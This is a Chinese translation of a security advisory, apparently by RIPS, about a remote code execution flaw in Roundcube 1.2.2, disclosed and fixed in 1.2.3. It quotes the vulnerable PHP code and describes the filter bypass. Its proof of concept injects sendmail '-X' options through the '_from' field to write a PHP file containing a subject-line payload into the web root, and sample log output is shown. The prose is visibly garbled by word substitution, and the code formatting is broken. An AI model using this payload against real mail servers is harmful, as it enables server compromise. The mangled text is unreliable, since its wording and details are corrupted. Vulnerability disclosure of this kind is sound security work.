翻译:sinensis
预估稿费:200RMB(不服你也来投稿啊!
)
投稿办法:发送邮件至linwei#360.cn,或上岸网页版在线投稿

序言
Roundcube是一款开源的网页版收发邮件的软件,它分布很广泛,环球很多组织和公司都在利用。从ScourceForge的镜像来看,过去1年内它有26万的下载量,这还只是实际用户中的一小部分。只要Roundcube在做事器上安装成功,已授权用户的浏览器上就会有一个Roundcube的网页页面,用来收发邮件。
这篇文章我们要展示下一个恶意用户如何在Roundcube 1.2.2版(>= 1.0)写封邮件,就可以远程实现任意命令实行。这个漏洞非常危险,它会影响到所有的默认配置安装。我们强烈建议所有的管理员尽快地将Roundcube更新到最新版本1.2.3。
RIPS只用了25秒就对全体运用有了全面的剖析,上图是检测出来的安全漏洞。虽然上图看似列出了很多问题,但大部分问题都不严重,它们可能是安装模块的一部分或是去世的遗留代码。但是我们还是建议把这些漏洞修复好,移除遗留代码,避免往后涌现安全问题,我们之前的文章有提到类似问题。
漏洞条件
1. Roundcube配置的时候必须许可利用mail()函数(如果没有SMTP未指定,默认开启)
2. PHP的main()函数配置的时候利用sendmail(默认开启)
3. PHP的配置文件中设置safe_mode为off(默认开启)
4. 攻击者须要知道网站的绝对路径
上面四个条件一样平常来说很随意马虎就可以达成,也便是说网络上很多这样的系统都存在漏洞。
漏洞描述
在Roundcube的1.2.2或者更早的版本,用户的输入未过滤进入到了mail()函数,作为第五个参数然后导致RCE,在这篇文档里将其列为紧急安全等级。问题的根本是由于main()函数会导致PHP调用sendmail。sendmail供应了-X选项来保存所有的邮箱日志到文件,攻击者可以利用这个函数在网站的根目录下天生恶意PHP文件。虽然这个漏洞利用起来比较苛刻,但是RIPS在几秒之内就检测了出来,下面的代码可以触发漏洞:
123program
/steps/mail/sendmail
.inc
$from = rcube_utils::get_input_value(’_from’, rcube_utils::INPUT_POST,
true
, $message_charset);
$sent = $RCMAIL->deliver_message($MAIL_MIME, $from, $mailto,$smtp_error, $mailbody_file, $smtp_opts);
在上面代码里面,deliver_messae()函数获取POST参数_from,赋值给$from作为其第二个参数。
1234567program
/lib/Roundcube/rcube
.php
public
function
deliver_message(&$message, $from, $mailto, &$error, &$body_file = null, $options = null) {
if
(filter_var(ini_get(‘safe_mode’), FILTER_VALIDATE_BOOLEAN))
$sent = mail($to, $subject, $msg_body, $header_str);
else
$sent = mail($to, $subject, $msg_body, $header_str, “-f$from”);
跟进deliver_message函数,$from参数进入mail()函数处理,通过利用-f参数获取from来通报给sendmail。
不充分的变量检讨
有趣的部分是from参数在此之前经由了正则过滤。正常来说,$from参数内是不可以利用空格,不然可能导致在-f之后添加其他的参数。
利用$IFS或者`符号都不能绕过。但是,中间有一个逻辑流程可以导致过滤失落败。
1234567program
/steps/mail/sendmail
.inc
104
else
if
($from_string = rcmail_email_input_format($from)) {
105
if
(preg_match(‘/(\S+@\S+)/‘, $from_string, $m))
106 $from = trim($m1, ‘<>‘);
107
else
108 $from = null;
109 }
在105行,用户可以掌握的$from参数过滤之后通报给email,但是这个过滤仅仅在rcmail_email_input_format()为TRUE的时候才会有效。
下面我们来看看如何绕过:
1234567891011121314151617181920212223242526272829program
/steps/mail/sendmail
.inc
function
rcmail_email_input_format($mailto, $count=
false
, $check=
true
)
{
global $RCMAIL, $EMAIL_FORMAT_ERROR, $RECIPIENT_COUNT;
//
simplified email regexp, supporting quoted
local
part
$email_regexp = ‘(\S+|(”[^“]+”))@\S+‘;
⋮
//
replace new lines and strip ending ‘, ‘,
make
address input
more
valid
$mailto = trim(preg_replace($regexp, $replace, $mailto));
$items = rcube_utils::explode_quoted_string($delim, $mailto);
$result = array();
foreach ($items as $item) {
$item = trim($item);
//
address
in
brackets without name (
do
nothing)
863
if
(preg_match(‘/^<‘.$email_regexp.‘>$/’, $item)) {
$item = rcube_utils::idn_to_ascii(trim($item, ‘<>‘));
$result[] = $item;
}
⋮
else
if
(trim($item)) {
continue
;
}
⋮
}
if
($count) {
$RECIPIENT_COUNT += count($result);
}
return
implode(‘, ‘, $result);
}
rcmail_email_input_format这个函数在863行利用其余一个正则表达式,在匹配email的时候,行末匹配符$已经决定了要匹配的内容。
攻击者的payload不必匹配这个正则,然后在foreach循环之后$result参数仍旧是空。在这种情形下,876行的implode()函数会返回一个空的字符串(这样全体函数就会返回FALSE),于是绕过了过滤。
漏洞POC
当利用Roundcube发送email的时候,截断HTTP要求,修正_from字段:
1example@example.com -OQueueDirectory=
/tmp
-X
/var/www/html/rce
.php
上述代码会导致攻击者在网站根目录下天生一个rce.php文件,里面的内容便是_subject的值。要求完成之后,如下的内容就会写入到文件里面:
12345678910111213141516171804731 >>> Recipient names must be specified
04731 <<< To: squinty@localhost
04731 <<< Subject: <?php phpinfo(); ?>
04731 <<< X-PHP-Originating-Script: 1000:rcube.php
04731 <<< MIME-Version: 1.0
04731 <<< Content-Type: text
/plain
; charset=US-ASCII;
04731 <<<
format
=flowed
04731 <<< Content-Transfer-Encoding: 7bit
04731 <<< Date: So, 20 Nov 2016 04:02:52 +0100
04731 <<< From: example@example.com -OQueueDirectory=
/tmp
04731 <<< -X
/var/www/html/rce
.php
04731 <<< Message-ID: <390a0c6379024872a7f0310cdea24900@localhost>
04731 <<< X-Sender: example@example.com -OQueueDirectory=
/tmp
04731 <<< -X
/var/www/html/rce
.php
04731 <<< User-Agent: Roundcube Webmail
/1
.2.2
04731 <<<
04731 <<< Funny e-mail message
04731 <<< [EOF]
email的数据解码之后,通报的subject参数会解码为纯文本,然后PHP就会实行个中包含PHP标签的代码。(上面的文本就解析<?php phpinfo() ?>,类似LFI的日志包含)
韶光线
日期内容
2016/11/21 第一次联系软件作者
2016/11/22 作者在Github上修复了bug
2016/11/28 作者赞许表露这个漏洞
2016/11/28 软件作者更新了最新Roundcube版本1.2.3
总结
Roundcube 1.2.2本身的设计已经可以抵御大部分攻击,同时一大批社区也在一起努力加固软件的安全性。但是像这种比较偏冷门的漏洞还是存在。如果利用自动化测试,不仅仅可以创造这种冷门的漏洞,而且节省了工程师的韶光,把更多的精力放在开拓更安全的程序上